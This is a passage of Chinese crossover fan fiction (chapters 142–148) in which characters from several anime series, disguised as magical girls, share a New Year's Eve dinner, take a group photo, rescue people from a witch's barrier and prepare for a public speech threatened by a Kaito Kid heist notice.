……魔法不背这个锅。 这时候，萩原研二突然瞥见松代的脸颊和耳尖都异常地发红，看起来有些不对劲。 他顿时吓了一跳，差点直接喊出对方的名字，幸亏理智还在线：“小……小松代！你没事吧？” 松田阵平摇了摇头：“应该没事吧，怎么这么问？” 萩原研二实在不太能就此放心。 而伏黑惠也发觉虎杖悠仁同样脸部红红的，简直就像是…… 津岛随口道：“她们两个大概只是有点醉了而已。” 醉了？？！ 虎杖悠仁愣了愣：“啊，我记得我应该没有喝酒吧。” 伏黑惠忍不住问津岛：“她们刚才就吃了点醋腌菜吧？你到底在里面加了什么？怎么能让人这么快就醉了的？？？” 津岛装无辜道：“在醋腌菜里加点酒调味也不算特别稀奇的事吧？” 绝对不止简单地放了点酒吧，否则这两个人看起来怎么跟喝多了似的？ 伏黑惠再也不敢对津岛的这种玩笑话掉以轻心了。 太恐怖了…… 这么离谱的厨艺，居然是真实存在的，这合理吗？？？ 第142章 这下子，真的没人敢碰这些菜一下了。 松田阵平抱怨道：“好好的这些食材，现在都被搞得吃不了了，这个时候哪里还能能找到点吃的啊。” 津岛不满道：“哪里吃不了了？还可以吃的啊，明明是多么有趣又美味的佳肴啊。” “再吃多点，我估计就要真的醉倒了。” 松田阵平说着，突然迟疑了一下：“等等，让我们中毒、失忆、醉倒……这些不会就是你的目的吧？” 听上去像是要将他们灭口…… 但是为什么，不就好好一起过个年嘛，津岛就这么抵抗跟他们正常地过一个年吗？ 津岛幽幽地说：“你想太多了啦。” “那个……我好像真的喝醉了。” 突然，虎杖悠仁恍惚地道：“我似乎听到门外有越来越近的脚步声，还有人敲门了？但不可能吧，现在有谁会突然找上门来？” 伏黑惠顿了顿，说道：“……不是错觉，确实有人在敲门。” 其他人也都听见了。 他们互相看了看彼此，或多或少都有点诧异。 “我去开门吧。” 萩原研二率先站起来，走到门边去开门。 虽然突然莫名其妙有人来访，让他当然有点不安和警惕……但是这个屋里有这么多魔法少女，也没什么敌人好怕的。 不过出乎意料的是，门外站着一个优雅的穿着重工洛丽塔的金发少女。 萩原研二惊讶道：“艾尔菲小姐？！” 艾尔菲轻轻点了点头，先拍了下手。 随即身后的几个穿着西装、看起来很专业的人就拎着一堆东西走了进来。 在众人诧异的目光下，艾尔菲带来的那些人先将门松和注连绳装饰在门口处。 然后再将各种特色的食物摆放在了桌子上。 有眉豆、烤猪腿、扇形甘蓝菜，玉米面包这些美国经典过年美食，当然还有镜饼、御节料理、杂煮、河豚等日式年夜饭。 甚至，还将放有钞票的御年玉袋放到了每个人的身旁…… 快速弄完这些之后，那几个穿西装的人向艾尔菲鞠了一躬，便替她关上门离开了。 直到艾尔菲走到壁炉旁边的沙发上坐下时，其他人的表情大多还愣愣的，一副没反应过来的样子。 “趁热赶紧吃吧，不然等会儿就凉了。” 艾尔菲淡定地招呼道。 说罢，她看了一眼桌子上的饭菜，注意到了其中碟子不一样的那四道菜：“你们还做了菜啊，不过就原本这点的话，肯定不够吃。但看起来似乎还不错。” 菲茨杰拉德拿起了一把叉子，想着尝一下那道河豚的菜。 松田阵平反应过来，立刻阻止她：“等等，别吃，那个有毒！” 太宰治无奈地叹了口气：“我都说了几遍了，真的没毒，不信你自己尝尝嘛。” 菲茨杰拉德挑了下眉，问道：“这菜是津岛做的？” 伏黑惠沉重地点点头。 菲茨杰拉德了然，立刻连刚接触到河豚的那个叉子，都直接扔进了一旁的垃圾桶里。 松田阵平不由得感叹道：“幸亏有你带来的这些饭菜，不然今晚的年夜饭都没有着落了，现在这个时候根本没什么店铺还开着……” 说到这里，松田阵平忽然顿了顿。 “艾尔菲，你这些饭菜也都是临时准备的吧？是怎么做到的？” 菲茨杰拉德随口说：“很简单啊，多花一点钱什么都能得到。” 松田阵平沉默了。 这经典的万恶资本家啊…… 过年这种时候，不光能够花钱轻松弄来这么多别人一时弄不到的东西，还能让那些下属勤勤恳恳地为其工作…… “真好啊。” 虎杖悠仁突然欢呼道：“那现在我们所有人都聚齐了。” 伏黑惠想起了先前津岛说过的话，不解地问艾尔菲：“现在这种时候，你不是应该在家里陪家人们一起过年吗？到这里来不要紧吗？” 虎杖悠仁也愣了下，迟疑地道：“或许是因为美国人并不是很在意过年？” 这倒是也有道理。 不过，艾尔菲却摇了摇头。 伊江朔久在艾尔菲出现的那一刻，便想到了原因，默默提醒了句：“有时差的。” 太宰治也同样猜得很快，吐槽道：“艾尔菲，你还真是不嫌麻烦啊。” 菲茨杰拉德也不生气，对津岛道：“这还是多亏了你之前送的书页，让我可以在美国与日本两地快速来回。” 津岛撇过头去，没再说话。 萩原研二稍慢一拍地反应过来，说道：“对哦，美国与日本之间有着十五个小时的时差，美国那边至少到明天才会过年呢。” 菲茨杰拉德笑道：“没错，我的时间还很充裕。” “对了，”松田阵平拿起放在自己身边的御年玉袋，提问道：“这是干什么？” “年玉啊，你不知道吗？”菲茨杰拉德说道：“你们过年的时候，不应该送这种东西吗？” 萩原研二尴尬地笑笑：“小松代她肯定是知道的。可是，一般不都是大人给孩子们发钱的吗？” 菲茨杰拉德恍然地说：“这样啊。没事，你们就收下吧。” ……总有一种被占了便宜的感觉呢。 松田阵平都不能确定这家伙到底是不是故意的。 太宰治默默将放在自己身旁的御年玉袋，放到了离自己比较近的虎杖悠仁旁边。 虎杖悠仁惊讶道：“诶？” 太宰治说道：“应该就你和禅院还是未成年了，你们收下年玉才是最合适不过的。” 虎杖悠仁被吓了一跳，都开始结巴了：“诶诶诶？？？！！你、你是怎么知道的？！” 伏黑惠：“……” 虎杖这反应也太明显了吧。 如果津岛只是诈她的，岂不是一下子就能确定这一猜想了？ 不过……伏黑惠的心情有点复杂。 以津岛往常表现出来的智慧来看，估计她是真的已经了解了她们很多人真实身份的信息了。 第143章 听太宰治那么一说，松田阵平也将自己的年玉放到了禅院穗身边。 “确实，还是你们两个拿着年玉吧。” 其他人也默默效仿。 伏黑惠怔了下：“……？” 这些人这么快就信了津岛的话？？？ 松田阵平看到她愣神的样子，便解释道：“应该就你们两个是未成年且还在上学吧……因为每次你们都是放学或周末时间比较有空，上学时间你们就总是感觉很赶着离开的样子。” 伏黑惠尴尬扶额，还是挣扎地说道： “这……也有可能是工作时间比较规律的上班族吧？” 松田阵平无奈道：“还有之前在魔女结界里上学的那次，你表现得蛮适应的。” 伏黑惠：“但悠衣她那时候不是还没……” 说到一半，伏黑惠倒也意识到了原因。 虎杖悠仁很显然总是跟自己待在一起，所以其他人在猜到自己身份的同时，估计都能接着猜到虎杖跟自己是同一个学校的吧。 于是，两个未成年有点无措地各捧着几个御年玉袋。 虽然御年玉袋的数量不多，但分量却很足，往年过年家里都没什么人的两个未成年可从来没收到过这么多年玉。 虎杖悠仁有点难以置信：“真的就只有我们两个未成年吗？” 菲茨杰拉德说道：“应该吧，没事，你们拿着就行。” “……谢谢。” “客气什么。” 菲茨杰拉德完全不在意这点小钱。 虎杖悠仁抿了抿嘴，高兴地道：“也是，我们如今是重要的同伴了。” 菲茨杰拉德听到这种话，反而觉得有些别扭，有种拐骗糊弄未成年真心的感觉。 毕竟，禅院穗和悠衣可能跟自己女儿的年龄相差不大。 虎杖悠仁突然提议道：“对了，第一次大家聚在一起过年，这么要不我们一起来合张照吧！” “合照？” “嗯嗯。”虎杖悠仁点点头道：“我只是觉得这么难能可贵的时刻，不记录下来实在是太可惜了。” 太宰治忽然想起自己很久之前某次与朋友拍的合照。 在那次合照之前，他就已经隐约察觉到，那段与朋友们聚在酒吧一起闲聊喝酒的轻松时光……可能再也回不去了。 事实也本应该如此，如果没有奇迹与魔法的出现，织田作也无法活过来。 但太宰治还是明白的。 无法奢求奇迹会永远降临在自己身边，越是渴求的重要的事物越容易轻易消逝…… 就像当初一样，这次他同样预感着，眼前的这一幕说不定在不久的未来便会彻底消散。 照片大概只能成为今后用来怀念惋惜的物品。 几年前的太宰治还会主动提议要拍照，想着若是以后不再有那样的时光，或许至少还可以在最后用照片将其保留下来。 可是到了此时此刻，太宰治忽然觉得自己似乎可能没有当初那样豁达了。 当某些事情有重复发生的预兆时…… 可能不会让人更加有勇气面对，反而更容易让人想要逃避。 “不拍了吧。” 太宰治似是若无其事地随口道：“感觉不怎么吉利。” 虎杖悠仁非常诧异：“哎哎？？！” 菲茨杰拉德也很不理解：“怎么就不吉利了？？” “我好像确实听说过……”伏黑惠边回忆边说：“据说，三个人拍照的时候，中间的那个人会遇到不幸。” 太宰治愣了一下：“还有这种说法？” 伏黑惠奇怪地看着津岛，问道：“你不知道吗？那你怎么突然莫名其妙说拍照不吉利？” 太宰治撇了撇嘴：“随口说的而已。” 松田阵平忽然恍然似的道：“我知道了，你又在乱开玩笑吧，你这家伙真的是够了，没完没了的。” 太宰治只是道：“……随你怎么说。” “没关系啦。”虎杖悠仁也没管津岛是不是故意开玩笑，道：“我们现在又不是三个人拍照，肯定不会有不幸发生的。” 松田阵平也说：“大不了不让你这迷信的家伙站中间呗。” 太宰治沉默着没再说什么。 菲茨杰拉德把自己手机里的相机打开，说道：“拿我的手机拍吧，然后我再把照片发给你们。” “好哦！”虎杖悠仁赶忙应下。 艾尔菲用的什么东西当然都是最贵最好的。 虎杖悠仁找了个比较高的凳子放在最前面，想办法借助小物品把手机搭在凳子上，认真地想要调整到一个最佳的角度。 这时候，先前没怎么出声提供存在感、一直安静地当个吉祥物的丘比，默默地挪到了沙发中央的位置。 虎杖悠仁终于调整好了角度，抬头看了看众人。 “大家都看镜头，彼此之间坐得稍微近一点。” “拜托了拜托了！来来来，都笑一笑嘛，表现得开心一些……” “三、二、一……” 按下了延迟拍照的键，虎杖悠仁一边倒数着，一边匆匆跑到沙发边跟其他人一起坐下，露出了灿烂的笑容。 “新年快乐！！！” “咔嚓——” 照片定格在了这一刻。 每个人脸上的表情都比平常要柔和一些，或多或少带着发自内心的笑意。 就连刚刚还推脱说不拍了的津岛，还有往常一直都没有表情的朔夜，此刻都看向了镜头，眉眼处多了一分微不可察的弧度…… “拍得很不错嘛。” 萩原研二看着发到自己手机里的照片，夸赞道：“我回去一定会把它打印下来好好珍藏的。” 松田阵平扶额：“太夸张了吧。” 虎杖悠仁却说道：“好主意，我也要打印下来留作纪念！” 连菲茨杰拉德也笑着道：“确实拍得不错。” 突然，远方隐隐约约传来了悠扬持久的钟声，在夜空中不断回荡着…… 伏黑惠了然地说：“是除夕夜的钟声啊，时间过得真快。” 每年的除夕夜，各处寺庙都会举行撞钟仪式，在同一时刻敲响108下钟声。 由于东京保留着许多古老的寺庙，再加上午夜的城市逐渐变得安静，这些钟声就可以传播得很远，稍微靠近寺院的民居都有很大概率能够听到。 萩原研二回想起小时候在家里过年，长辈耐心给他解释钟声含义的场景，不由得出声说道： “钟声代表着驱除烦恼，净化心灵，还寄托了新一年的美好祈愿。” 伏黑惠点点头，感慨道：“当最后一声钟声落下，就意味着新一年的到来了。” “咚——咚——咚————” 钟声一声一声地响着，即使108这样的数字听起来很多，但也仿佛转眼间就即将流失殆尽。 第144章 在108下钟声即将走向尽头之时，太宰治静静地看着一边吃着年夜饭，一边说笑的众人。 此刻的灯光温暖而明亮，气氛难得的和睦且温馨。 黑发鸢眼的少女不知道有没有被这样的氛围所感染，她脸上说不清是什么表情，只是忽地用极轻的声音喃喃着： “如果……” “时间能够停留在这一刻……” 如果伊江朔久不是就坐在太宰治旁边，或没有很好的听力，应该都是听不到这极其细微的声音的。 不过伊江朔久听见了，却没有对此做出什么反应，仅仅是安静地听着。 过了很久，太宰治也没有再继续出声。 于是伊江朔久接着在心里想着。 如果，时间能够停留在这一刻……就好了。 这样的话，就不会再有任何不幸的可能性发生，一切会停留在最美好恰当的时分，宛如故事书里本该有的圆满大结局般。 可是这当然是不可能的。 时间还会继续往下走，就像隐藏在冰川之下的秘密，终究会等到季节变化时炙热的太阳将冰雪融化的那一天…… 伊江朔久非常清楚接下来会发生什么。 或者不如说，从开头到结尾这一切的发展变化都在他的掌控之中。 所以他知道，她们后续的路程大概率不再轻松，挫折和坎坷都是必不可少的。 但是没关系。 她们终将会沿着他的计划走向最好的结局。 即使自己到时候可能无法一起看见那样的结局，但只要她们还记得…… 伊江朔久忽然垂下眼帘。 就算不记得也没有关系。 这些共同相处的、发自内心感到喜悦的时光都是真实存在过的，仅仅是这样便足够了…… 伊江朔久在心底对系统说道：‘新年快乐。’ 系统愣了一下，语气稍稍上扬地回道：【新年快乐，朔久。】 …… 时间过得很慢也很快。 忍耐着等待重要时机到来的时间是很漫长的，因为随时会担心眼下的美好光景被突兀打破。 一边等待着计划的下一步，一边又不希望那一刻到来得太快。 就这样，沙漏一点点流逝着…… 恍惚间就已经过去了两年时光。 …… “听说有个魔法少女已经进到结界里面去了？她们赶来的效率真是越来越快了。” “是啊，这次的魔女发现得很及时，希望不会有多少人伤亡。” “对了，刚才人流太多了，我没看清楚，到底是哪位魔法少女来了？” “这还需要看吗，你忘了这片区域是谁负责的？来的人肯定是艾尔菲啊……” “……” 在这个平凡的午后，城市里某条繁华街道被一种异样的氛围所笼罩。 街道附近挤满了熙熙攘攘的人群，他们激动又好奇，都在围绕魔法少女的话题而共同讨论着。 只有街道中心的一大片区域空了下来。 有许多警察在这里设置了警戒线，负责阻拦试图靠近这片区域的人群。 “请注意不要靠近前方，这里目前非常危险。” 一名警察手持着扩音器，声音严肃且坚定地道： “已经有魔法少女进入结界与魔女作战了，相信她肯定能够将幸存者安全带回来的。请大家千万保持冷静、不要着急担忧。” 不过，虽然警察说的是很浅显易懂的道理，只要有理智的人都知道此刻应该耐心等待着魔法少女的战斗结束。 但是也有人不听劝阻，努力试图跨过警戒线…… “我的妻子和女儿都在里面！让我进去，求求你们了！” 这位比较年轻的男子看起来都快急疯了，完全顾不上别的什么，只是拼命地想钻过这条警戒线。 有警察一直在拦着他，不断地安抚道：“先别着急，再等等，里面非常危险……” 好在，这次的魔女应该不算难对付。 艾尔菲解决它并没有花费太多时间。 没过多久，魔女的结界就坍塌了。 街道中心那片空出来的区域突然凭空多出了许多道人影——有艾尔菲，还有之前在这里误入魔女结界消失的那些人。 幸运的是，他们虽然看上去有些虚弱，但还没有人死去。对比以前其他误入魔女结界的人可要幸运太多了。 艾尔菲正准备离开，就有人匆匆迎了上来。 “太感谢了，实在是太感谢你了……” “要不是有你在，我差点以为要和孩子一起死在那里了……” 一对较年轻的父母喜极而泣地向她道谢。不过那位母亲怀里抱着的女孩尚且太过年幼，还正茫然着分不清情况。 道谢的声音很快就传播开来，其他幸存者和其家人们也纷纷反应过来，不断地向魔法少女致谢。 周围的人群也被这种氛围所感染，热情的欢呼声一波接着一波，将整个街道都淹没在一片嘈杂与热闹之中。 艾尔菲失神了片刻。 她听到面前那位较年轻的男子在说着，感谢她挽救了他的家庭…… 这让菲茨杰拉德不由得想到了，近期关于自己家庭的一些烦心事。 虽然有着津岛的书页能够使其随时回到家人身边，但忙碌的工作和两地的时差，还是不能让自己经常陪伴家人。 还有最重要的——菲茨杰拉德无法向妻女解释自己的行踪，无法把自己的秘密告诉她们。 她们并不能理解，不明白为什么明明是一家人，菲茨杰拉德却要一直瞒着她们，这两三年以来天天都不知道在忙些什么。 可菲茨杰拉德也有自己的原因。 如果妻女知道这些的话，就总会无法避免地被牵扯进来…… 而即使只有万分之一的可能性，自己都绝对无法再忍受一次失去她们的感觉了。 第145章 随着时间的推移，这样的矛盾愈演愈烈，近来好几次和家里人闹得不欢而散…… 菲茨杰拉德想起来就感到非常头疼。 而在艾尔菲思绪走神的时候，目光不自觉地放在了年幼的女孩身前。 抱着孩子的母亲愣了一愣，忽然想起来教孩子说： “来，小彩，快说谢谢魔法少女姐姐！” 可是那个女孩的年龄实在是太小了。 词汇量少，也没怎么说过稍微复杂的长句子……在母亲的鼓励下，她只能努力勉强地说出： “谢谢，魔、魔……魔女姐姐。” 显然，不会说的记不住的词她就直接缩句了。 旁边的父母顿时有点尴尬。 魔女和魔法少女可是天差地别的两种存在，怎么能这样称呼刚从怪物手下辛苦救下了她们的重要恩人呢。 母亲连忙纠正道：“不是魔女，应该叫魔法少女姐姐才对。” 不过，艾尔菲其实也根本就没在意这些。 “没关系。” 她随意摆摆手，然后从身上拿出了以前津岛送的书页。 近年来和津岛越来越熟之后，每个魔法少女几乎都收到了津岛送的好几张书页。 不得不令人感叹，津岛的魔法用起来可方便了，给她们提供了无数的便利。 这次也是。 艾尔菲使用书页，瞬间便从人群中央位置转移出来，到了存放书页的她们的安全屋里面。 这时，手机突然一连振动了好几下。 艾尔菲熟练地打开魔法少女们的群聊，果然看到了好几条消息。 现在她们倒也不经常避着朔夜在小群聊天了。 毕竟逐渐发觉朔夜虽然看起来冷漠又不近人情，但每次她们遇到危险时，朔夜却总是及时出现救场。 意外给人有安全感又可靠的感觉…… 松代：【警方联系了我们，希望过段时间，我们之中至少来一个代表和警方代表共同进行一次公开演讲。】 松代：【内容大概是对民众展现一下我们与警方的友好合作关系。还有再讲解些关于魔女的事情，告知民众如何推断身边的异常情况是否与魔女有关，怎样自救或等待救援……】 松代：【公开演讲的全过程会录制下来，以后应该会将其放到各个平台上作宣传。】 松代：【……你们有谁可以去吗？@全体成员】 看完松代发的这些消息，菲茨杰拉德都感觉有点不习惯。 换作是前几年，他为了挽救自己的家庭做着各种非法事情的时候，可完全没想到，以后居然还能和警方这样密切合作。 甚至当初，她们魔法少女还处于过举目皆敌的处境。 可是现在情况就完全不一样了。 这当然离不开她们长期以来的自身表现，还有所有合作伙伴的帮助。尤其是如今咒术界真正的话事人五条悟，一直帮了她们很大的忙。 所以如今，她们竟然也到了与官方合作进行公开演讲的地步了。 理智告诉菲茨杰拉德这件事对她们来说是有利的。 但是…… 谁想做那个代表去公开处刑啊？！ 菲茨杰拉德聪明地没有在这时在群里发言。 而津岛却没忍住发言吐槽道：【啧，无聊的形式主义。】 松代：【虽然确实是形式主义……】 因为关于魔女的这些注意事项，魔法少女网站上早就说明得非常清楚了，根本不需要多此一举。 松代：【但也象征着我们与官方的合作即将更进一步，而且这样面向民众演讲，还会更有利于今后我们在关键时刻调动民众行动……】 能看得出来，松代是在很努力地在为此说好话了。 津岛：【……我们还需要得到更多的民众认可度吗？】 这些年来，魔法少女们的热度一直居高不下，简直都快成为全员偶像了。 松代沉默了好一会儿，不知道是不是在想别的说辞。 禅院穗：【松代你不是经常和警方联络，比其他人都要和他们更熟悉吗，你去做这个代表应该更方便吧。】 松代：【……那段时间我有重要的事情要忙，没办法去。】 这句话既是谎言，也不是谎言。 松田阵平确实有事要忙，但到时候却是一定会去现场的。 说起来就令人头疼…… 警方也很清楚魔法少女们如今的热度。 为了安全起见，也为了表现对这件事的重视……他们做足了准备，要求很多警察到场参加顺便帮忙维持秩序。 松田阵平也是被要求到场的警察的其中之一。 不过好在相处了这么久，其他魔法少女也清楚松代不会因为不想去，就故意找借口搪塞过去。 但是，她们却是真的不想去。 津岛先发消息道：【请不要指望我演讲，你们是不会希望听到我讲的内容的，谢谢~】 ……津岛乱开玩笑和随意胡扯的本事，她们确实是早就见识过了的。 禅院穗为难地想。 不会吧，松代去不了，津岛不能去……剩下的人选就已经非常少了。 群里安静了好一阵。 没有人站出来说话，谁都不想当众社死。 虎杖悠仁其实也觉得自己可能做不太来这种事情。 但是见群里这个样子，回想起自己作为后辈刚成为魔法少女时，其他人提供的帮助…… 悠衣默默发道：【我可以试试？】 这句话一出，群里沉默的其他人纷纷冒泡。 松代：【帮大忙了，谢谢。】 津岛：【我相信是悠衣的话，一定没问题的。】 禅院穗：【你……算了，辛苦了，加油吧。】 …… 虎杖悠仁顿时压力倍增，半天才艰难地回复道：【我会尽量努力的。】 第146章 为了这次公开演讲，虎杖悠仁做了很长时间的准备。 和配合其演讲的警方代表提前做了商量，认真地准备好到时候的发言稿，做好防备免得意外情况发生…… 虎杖悠仁这段时间一直为此忙活着，与魔女战斗的工作也由其他魔法少女自觉代为承担。 但眼看着即将到演讲的那一天了，事情却没有计划中的那样顺利。 没有被防备过的意外情况发生了。 ——警方收到了怪盗基德的预告函。 虎杖悠仁是先从松代那里获知这一信息的。 他实在有点茫然，沉思了片刻才回消息道：【怪盗基德？那是谁？是怪盗的话……下预告函是要偷什么东西吗？】 松田阵平解释道：【那是一个专门偷取高价艺术品与珠宝的知名怪盗，不过在8年前便已销声匿迹，近期却不知道为什么又突然开始活动了。】 【如今的怪盗基德不清楚是否还是当年的基德。关于他的事情，警方现在也没有多少确切的信息。】 【……总之，听说基德魔术手法精湛，作案工具花里胡哨，还有高超的易容手法和变声能力。你要注意提防才行。】 虎杖悠仁弱弱问道：【但是……他到底要偷什么啊？演讲现场能有什么好偷的艺术品和珠宝？】 松田阵平刚听闻预告函的时候，也曾因这个问题而短暂地困扰过。 但是想出答案也不难…… 必然会出现在演讲现场的珍贵珠宝是存在的——每一位魔法少女都会随身携带的灵魂宝石。 松田阵平将这一想法告诉了虎杖悠仁。 【……丘比肯定也告诉过你，灵魂宝石相当重要，是魔法的来源。你到时候千万注意着不要让它被盗走。】 虎杖悠仁：【谢谢提醒，我会小心的。】 虽然松田阵平提醒了悠衣，但是他自己当然也不能就此放心，还得在警方多做些准备提防怪盗基德。 他又多看了些关于基德的资料，没过多久后便陷入了沉默。 基德这魔术花里胡哨地跟魔法似的，每次总是能够神出鬼没地取走预告目标，捉弄警方于股掌之中。 但奇怪的是，对方偷盗的东西几乎都会在拿到手之后又还回去。 完全看不出基德这么做有什么意义可言。 总不可能就是为了炫耀自己的魔术手法，或者以玩弄警方为乐吧？？ 松田阵平扶额，真不知道是那个怪盗太厉害了，还是警方太…… 算了。 到时候自己仔细在台下盯着，总不至于真能让一个只会魔术的怪盗轻松偷走魔法少女的宝石吧。 这时候，松田阵平收到了一个好一段时间没有联络的人的消息。 工藤新一：【松代，你知道了怪盗基德的预告函吗？他的目标应该是那天去演讲的那个魔法少女的宝石。】 当初意外结识了那三个未成年之后，松田阵平有时倒也会以松代的身份跟他们联络一下。 而且毛利侦探事务所就在伊江和萩原经营的事务所的对面，他们两个跟这几个未成年偶尔能够碰面，互相之间也比较熟悉了。 所以经常去找伊江和萩原的松田阵平，他的两个身份都和那几个未成年有过接触。 毛利兰和铃木园子自然是和松代联系比较多，工藤新一和作为警察的松田联系比较多。 而这次，却是工藤新一给松代发消息。 不过，松田阵平更意外的是，工藤新一能够这么快知道怪盗基德预告函的内容，还猜出了基德的目标。 但是很快他也记起来…… 工藤新一是有名的高中生侦探，近来被称为日本警察的救星，曾经还和基德交手过。 真是的…… 虽然说那小子确实很有头脑，但是松田阵平还是不习惯让一个未成年不顾自身安危地抢过警察的工作。 说起来，前些日子毛利兰还联系过自己，很着急地说工藤新一失联了。 他当时也立刻帮忙找过人，不过幸好在事情没闹大之前，工藤新一就很快回来了，解释说那只是个误会。 松代：【谢谢，我已经知道了。不过这件事你还是不要参与了，到时候现场可能不止会有怪盗基德出现。】 松代：【魔法少女一直行踪不定，这次却会在固定地点固定时间出现。或许还会有一些危险分子在那时过来找事。】 工藤新一：【那你们有做好防范吗？我或许可以过去帮忙。】 松代：【当然，不管怎么样，魔法少女都能安全离开的。】 松田阵平也不好详细解释津岛书页的作用。 但他相信以工藤新一的智商，肯定能够从之前了解到的信息里，推断出魔法少女都有这样方便的瞬移方法。 松代：【就是担心会牵扯到其他人的安危，所以你别掺和进来，把这件事情交给专业的大人处理吧。】 可是，工藤新一明显不想答应。 工藤新一：【我总能帮到些忙的，也会注意自己的安全，不会给你们添乱的……】 松田阵平有点头疼，无奈地跟他翻旧账。 松代：【我听说你前段时间还失联过，让毛利很担心，我怎么可能相信你能保障好自己的安全。】 说到这个话题，工藤新一可疑地沉默了好一会儿，才终于回复： 【那次确实……我当时目睹了两个黑衣人和其他人的非法交易，好像是关于走私枪.械的。】 松田阵平一愣，连忙问道：【你那次不是说是误会吗，不是手机没电才短暂失联了吗？】 工藤新一奇怪道：【松代你怎么知道？】 【我听毛利说的。】 松田阵平随意敷衍过去，他现在非常在意工藤新一刚才的话： 喐０慀４ 【你是怎么碰上那种事情的？没遇到危险吧？为什么不将真相告知给毛利和警察？】 第147章 工藤新一犹豫片刻，跳过了自己大意莽撞的部分，没说自己是怎么看那两个黑衣人可疑然后就偷偷跟过去的前情提要。 他直接说到了关键的部分： 【当时……是朔夜及时出现把我带走了，她警告我说那两个黑衣人非常危险，是一个跨国犯罪组织的成员。】 【我意识到这种事情告诉警察也没有用，随便说出去还会牵扯到不相干的人，才说了谎。】 【但亲眼目睹那样的犯罪行为却无能为力，这让我一直很在意那天的事。可是又联系不到朔夜，找不到可以交谈这种事的对象……】 闻言，松田阵平很是诧异。 这些话里包含的信息量似乎有点大。 首先就是，朔夜为什么会突然知道工藤遇到危险，并及时出现帮忙？ 她是在跟踪那两个黑衣人的过程中，发现了工藤吗……这个猜想的可能性倒是很大。 但是问题又来了。 跨国犯罪组织、黑衣、走私枪.械……听起来大概率就是萩目前所在的那个组织。 朔夜什么时候跟那个组织扯上关系了？ 松田阵平之前倒是从来没想过这两者之间会有什么关联。 不过……提到组织的时候，他会想起伊江朔久。 而偶尔他也会忽然觉得朔夜和伊江的相貌有点相似，虽然性格和身体状况似乎却是天差地别…… 越想越恐怖了。 朔夜该不会和伊江有什么关系吧？ 是亲戚吗？她是因为伊江的缘故才关注着组织的动向吗？伊江知道朔夜的真实身份吗？…… 松田阵平一时间脑海里闪过了无数个念头。 不管怎么样，这应该都算是一件好事，更有利于彻底消灭组织。 等到组织彻底覆灭的那一天，萩大概也就可以真正得到自由了吧…… 松田阵平心情忽地有些低落，想起了前段时间发生的事。 那次，他难得和自家幼驯染产生了冲突。 当时明明上一秒还在很正常地聊关于组织的事情，而下一秒萩原研二却突然有些情绪失控了。 甚至萩原研二还不愿意说明原因，就否决了之前商量好的针对组织的后续计划，紧接着便执意搬出了伊江的侦探事务所…… 这一系列行为看起来都非常莫名其妙，令人捉摸不透。 但说实话，其实松田阵平那时却不知道为什么，并没有本应该的那么惊讶。 或许…… 因为这不是萩第一次表现异常吧。 从很久之前起，松田阵平就能隐约感觉到萩某些时候的不对劲。 只不过对方每次一展露出稍许异样，就很快又遮掩好了，也能聪明地给自己找到足够的理由。 所以这么久以来，一直艰难维持着两个身份、忙碌地做着许多工作的松田阵平没能够找出萩原研二异常的原因。 但松田阵平自然也还是对此有些猜测的。 可是…… 他宁愿是自己猜错了。 ……只希望事情不会发展到那个最糟糕的地步。 松田阵平无声地叹了口气，终于收回了思绪。 而此刻他才看到，手机里另一边的工藤新一已经发了很多条消息，最后一条是：【……松代？你还在吗？？】 松田阵平有点不好意思地回复道：【还在。】 紧接着，松田阵平又发道：【朔夜说得对，那个组织确实很危险，这件事你不应该参与。】 工藤新一：【？你也知道那个组织的信息？！】 工藤新一：【能告诉我吗？我不会再鲁莽行事了，我保证会注意自己安全的。】 工藤新一：【我可以帮你们分析情报，多一个人以另一种角度思考总是能多点帮助的，我也帮警察破获过多起案件。】 工藤新一：【那个组织的人没有发现我目睹他们的交易现场。我只是在幕后帮忙想办法的话，不会遇到什么危险的！】 一连发过来的这好几条消息，足以证明了对方想参与进来帮忙的强烈意愿。 松田阵平无奈。 现在的高中生侦探还真是不简单。 不过，对方说的也不无道理。 只是在幕后帮忙思考的话，遇到危险的可能性几乎为零。 要是放任对方一个人在外探查信息，独自对上组织的话，反而可能容易出什么事情。 虽然是这么想的，松田阵平却还是发道：【我还是不太放心把你牵扯进这种事，除非你真的会谨慎小心，不让自己陷入危险。】 工藤新一立刻保证：【没问题的。】 松田阵平紧接着就道：【那就从你之后的表现来看吧，名侦探，以后别再总是冲在警方前面冒险了。】 工藤新一有点尴尬地答应了：【……我知道了。】 不过放下手机，工藤新一忽然察觉到了点异常，奇怪地喃喃道：“松代刚才的语气……怎么和松田警官那么相似呢。” “松代、松田……” 他将这两个名字反复念了好几遍，越念越觉得不对劲。 工藤新一有点失神。 怎么以前没想到，松代和松田的名字这么相似，而且两个人还都与榎原健一关系不错呢。 他突然发现，自己似乎意外得知了一个大秘密。 魔法少女松代竟然是松田警官的亲戚，说不定他们还是很亲近的兄妹关系！！！ 这个要是被其他人知晓的话，那绝对会成为一个大新闻，估计还会让松田警官今后的生活永无宁日吧。 当然，他肯定是会为他们保密的。 只不过…… 工藤新一有点心虚地想。 或许可以借此机会，让他和他们的关系变得更近一些，也方便他能拿到更多有关那个跨国犯罪组织的情报。 第148章 时间很快就到了魔法少女与警方合作公开演讲的那一天。 地点选在了一个非常大型的会展中心，有很多警察明里暗里帮忙保卫着，比之前防着基德盗取价值数亿的宝石时，显然还要更重视得多。 当然民众也对此产生了极大的热情。 要不是场所能够容纳的人数终究是有限的，只能提前用随机抽取幸运儿的方式，来决定谁能到现场。 否则这里估计会被围得水泄不通，甚至还能造成附近很大一片区域交通堵塞。 而作为这次演讲的主角，虎杖悠仁说不紧张是不可能的。 尽管提前做了充足的准备，但是面临那么重大的场合，想到等会儿要在多少人面前演讲…… 虎杖悠仁还是有些慌。 ——提前为她准备的休息室里。 戴着虎耳兜帽的粉黑发少女拿着演讲稿，紧张地左右踱步，口里喃喃着马上要上台讲的东西。 虽然这些她早就已经背得滚瓜烂熟了，但此刻还是想着再熟悉一下。 ……没事的，没事的。 只要按照之前准备好的上台把这些讲一遍就行。 都已经做了那么多准备了，应该不会出什么意外的。就算有什么突发情况，也一定能很快解决的…… 她努力在心里这样安慰着自己。 “咚咚……” 有人在休息室外轻轻敲了两下门，提醒道：“悠衣小姐，打扰了。不过现在时间已经快到了，该过去了。” “好的，我知道了！” 虎杖悠仁立刻应下。 在准备打开门离开的时候，她脚步忽然顿了顿。 “差点把这个给忘了……” 悠衣将自己手腕上戴着的灵魂宝石手链取了下来，又从口袋里拿出了一条几乎一样的宝石手链戴上。 这个仿制宝石是艾尔菲为她制作的。 